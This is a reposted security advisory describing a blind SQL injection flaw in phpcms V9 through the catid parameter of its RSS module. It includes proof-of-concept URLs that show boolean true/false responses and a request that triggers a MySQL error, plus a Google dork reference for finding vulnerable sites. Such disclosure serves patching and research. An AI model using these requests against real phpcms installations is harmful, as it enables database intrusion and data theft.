phpcms V9 BLind SQL Injection Vulnerability

最新推荐文章于 2023-04-05 15:26:49 发布

Yatere

最新推荐文章于 2023-04-05 15:26:49 发布

阅读量1k

点赞数

分类专栏： Web 代码注入文章标签： sql mysql table 2010 c

Web 代码注入专栏收录该内容

27 篇文章 0 订阅

订阅专栏

=================================================================
phpcms V9 BLind SQL Injection Vulnerability
=================================================================

Software: phpcms V9
Vendor:    www.phpcms.cn
Vuln Type:  BLind SQL Injection
Download link:  http://www.phpcms.cn/2010/1229/326.html
Author:    eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home:    www.eidelweiss.info

Google Dork: http://www.exploit-db.com/ghdb/3676/ // check here ^_^

References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html

=================================================================

exploit & p0c

[!] index.php?m=content&c=rss&catid=[valid catid]

Example p0c

[!] http://host/index.php?m=content&c=rss&catid=10  <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False

[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)

=================================================================

Nothing Impossible In This World Even Nobody`s Perfect

=================================================================

=========================| -=[ E0F ]=- |=========================